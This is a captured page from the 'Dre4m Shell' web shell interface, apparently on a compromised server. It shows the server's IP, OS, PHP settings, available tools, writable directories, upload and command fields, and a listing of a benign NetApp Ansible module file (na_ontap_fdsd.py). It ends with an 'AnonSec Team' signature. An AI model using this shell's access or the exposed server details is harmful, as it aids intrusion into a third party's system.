Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.145.153.251
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/netapp/ontap/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/netapp/ontap/plugins/modules/na_ontap_fdsd.py
#!/usr/bin/python

# (c) 2021, NetApp, Inc
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

DOCUMENTATION = """
module: na_ontap_fdsd
short_description: NetApp ONTAP create or remove a File Directory security descriptor.
extends_documentation_fragment:
    - netapp.ontap.netapp.na_ontap
version_added: 21.8.0
author: NetApp Ansible Team (@carchi8py) <ng-ansibleteam@netapp.com>

description:
- Create or remove a security descriptor.
options:
  state:
    description:
    - Whether the specified security descriptor should exist or not.
    choices: ['present', 'absent']
    default: present
    type: str

  name:
    description:
    - Specifies the name of the security descriptor.
    required: true
    type: str

  vserver:
    description:
    - Specifies the vserver.
    required: true
    type: str
"""

EXAMPLES = """
    - name: Create File Directory Security Descriptor
      netapp.ontap.na_ontap_fdsd:
        state: present
        name: "ansible_sdl"
        vserver: "svm1"
        hostname: "{{ hostname }}"
        username: "{{ username }}"
        password: "{{ password }}"

    - name: Delete File Directory Security Descriptor
      netapp.ontap.na_ontap_fdsd:
        state: absent
        vserver: "svm1"
        name: "ansible_sdl"
        hostname: "{{ hostname }}"
        username: "{{ username }}"
        password: "{{ password }}"
"""

RETURN = """

"""

from ansible.module_utils.basic import AnsibleModule
import ansible_collections.netapp.ontap.plugins.module_utils.netapp as netapp_utils
from ansible_collections.netapp.ontap.plugins.module_utils.netapp_module import NetAppModule
from ansible_collections.netapp.ontap.plugins.module_utils.netapp import OntapRestAPI
import ansible_collections.netapp.ontap.plugins.module_utils.rest_response_helpers as rrh


class NetAppOntapFDSD():
    """
        Creates or removes a File Directory Security Descriptor
    """
    def __init__(self):
        """
            Initialize the ONTAP File Directory Security Descripter class
        """
        self.argument_spec = netapp_utils.na_ontap_host_argument_spec()
        self.argument_spec.update(dict(
            state=dict(required=False, choices=['present', 'absent'], default='present'),
            vserver=dict(required=True, type='str'),
            name=dict(required=True, type='str')
        ))

        self.module = AnsibleModule(
            argument_spec=self.argument_spec,
            supports_check_mode=True
        )

        # set up variables
        self.na_helper = NetAppModule()
        self.parameters = self.na_helper.set_parameters(self.module.params)

        self.rest_api = OntapRestAPI(self.module)
        self.use_rest = self.rest_api.is_rest()

        if not self.use_rest:
            self.module.fail_json(msg=self.rest_api.requires_ontap_version('na_ontap_fdsd', '9.6'))

    def get_fdsd(self):
        """
        Get File Directory Security Descriptor
        """
        api = "private/cli/vserver/security/file-directory/ntfs"
        query = {
            'ntfs-sd': self.parameters['name'],
            'vserver': self.parameters['vserver']
        }

        message, error = self.rest_api.get(api, query)
        records, error = rrh.check_for_0_or_more_records(api, message, error)

        if error:
            self.module.fail_json(msg=error)

        return records if records else None

    def add_fdsd(self):
        """
        Adds a new File Directory Security Descriptor
        """
        api = "private/cli/vserver/security/file-directory/ntfs"
        body = {
            'ntfs-sd': self.parameters['name'],
            'vserver': self.parameters['vserver']
        }

        dummy, error = self.rest_api.post(api, body)

        if error:
            self.module.fail_json(msg=error)

    def remove_fdsd(self):
        """
        Deletes a File Directory Security Descriptor
        """
        api = "private/cli/vserver/security/file-directory/ntfs"
        body = {
            'ntfs-sd': self.parameters['name'],
            'vserver': self.parameters['vserver']
        }

        dummy, error = self.rest_api.delete(api, body)

        if error:
            self.module.fail_json(msg=error)

    def apply(self):
        current = self.get_fdsd()
        cd_action = self.na_helper.get_cd_action(current, self.parameters)

        if self.na_helper.changed:
            if not self.module.check_mode:
                if cd_action == 'create':
                    self.add_fdsd()
                elif cd_action == 'delete':
                    self.remove_fdsd()

        result = netapp_utils.generate_result(self.na_helper.changed, cd_action)
        self.module.exit_json(**result)


def main():
    """
    Creates and removes File Directory Security Descriptors
    """
    obj = NetAppOntapFDSD()
    obj.apply()


if __name__ == '__main__':
    main()

Anon7 - 2022
AnonSec Team